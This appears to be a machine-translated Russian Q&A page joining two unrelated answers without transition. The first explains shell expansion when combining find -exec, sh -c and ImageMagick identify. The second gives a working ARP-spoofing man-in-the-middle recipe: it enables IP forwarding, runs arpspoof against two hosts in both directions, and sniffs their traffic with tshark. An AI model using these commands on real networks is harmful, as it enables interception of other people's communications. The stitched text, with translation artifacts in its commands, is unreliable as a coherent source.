Используйте:
find. -type f -exec sh -c 'echo "$(identify -format %w-%h "$1")"' sh {} \;
Проблема заключается в том, как bash раскрывает переменные
find * -type f -exec echo "$(identify -format '%w-%h' {})" \;
Первый удар расширяет то, что находится внутри$(...)
:
find * -type f -exec echo 'identify: unable to open image `{}': No such file or directory...' \;
В этот момент find будет использовать один и тот же оператор exec для всех команд с довольно бесполезным аргументом. Что вы хотите сделать, так это подавить расширение bash внутри find exec. Вы можете остановить расширение bash, поместив их в одинарные кавычки
find * -type f -exec echo '$(identify -format %w-%h {})' \;
Но здесь мы полностью теряем расширение, мы можем ввести его обратно, запустив выражение сsh -c
find * -type f -exec sh -c 'echo "$(identify -format %w-%h {})"' \;
Наличие {}
в сценарии оболочки также может привести к некоторым непредвиденным ошибкам при работе с пробелами, кавычками или любым символом, характерным для оболочки в именах файлов. Чтобы обойти это, вы должны переместить {}
в качестве аргумента в sh с:
find * -type f -exec sh -c 'echo "$(identify -format %w-%h "$1")"' sh {} \;
См. этот вопрос/ответ для более подробного объяснения этого.
Наконец, вы можете заменить *
на .
, чтобы позволить find
самостоятельно находить файлы в текущем каталоге (и включать скрытые файлы, а также без сбоев для имен файлов, начинающихся с-
).
Кроме того, вы можете добавить флаг -x
к sh
, чтобы распечатать то, что было выполнено, чтобы помочь с отладкой команды -, это может быть очень шумным для многих файлов.
Попробуйте arpspoof из пакета dsniff
.
Это не сработает, если два хоста смогут защититься от отравления ARP, поскольку именно так это и работает.
Оболочка 1
# Enable packet forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Tell A we are B
arpspoof -t hostA hostB
Оболочка 2
# Tell B we are A
arpspoof -t hostB hostA
Оболочка 3
# Watch the traffic
tshark -f 'host hostA and host hostB and not arp'